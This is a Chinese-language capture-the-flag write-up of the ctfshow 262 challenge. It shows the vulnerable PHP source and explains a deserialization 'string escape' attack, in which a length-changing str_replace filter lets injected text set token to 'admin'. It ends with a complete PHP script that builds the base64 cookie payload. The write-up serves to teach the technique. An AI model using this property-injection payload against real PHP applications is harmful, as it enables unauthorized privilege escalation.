最近回顾了几道php反序列化的基础题,就随便写一类个人比较中意的题型——字符串逃逸。
这里以ctfshow262为例。 有两部分源码 index.php
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
大致流程
重点在后者代码。传入cookie:msg ,反序列化实例化后判断token 是否等于admin 。其实看到这题源码的第一反应是直接建个新类让token='admin' 即可绕过拿到flag。这里另一种解法即字符串逃逸问题。 这里看两段序列化串:
O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"fuck" ;s:5:“token”;s:4:“user”;} O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"loveU" ;s:5:“token”;s:4:“user”;}
假如传入的参数为a、b、fuck,在代码中str_replace('fuck', 'loveU', $msg) 的影响下,上述字符串长度不匹配出现错误。后者比前者多一个字符。前s:4 ,后却为5个字符,多余出的一个字符就可以形成一个字符串逃逸。假如我们输入30个fuck,那么就可以逃逸30个字符。根据这个思路就可以造出payload了。我们要逃逸出的字符为";s:5:"token";s:5:"admin";} ,其长度为27,那么前面再加上27个fuck就可以形成逃逸了。
payload
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($s){
return str_replace('fuck', 'loveU', $s);
}
function mult($str,$num){
$res='';
for($i=1;$i<=$num;$i++){
$res=$res.$str;
}
return $res;
}
$f = new message('a','b',mult('fuck',27).'";s:5:"token";s:5:"admin";}');
$fs = serialize($f);
$f2 = filter($fs);
echo base64_encode($f2);
|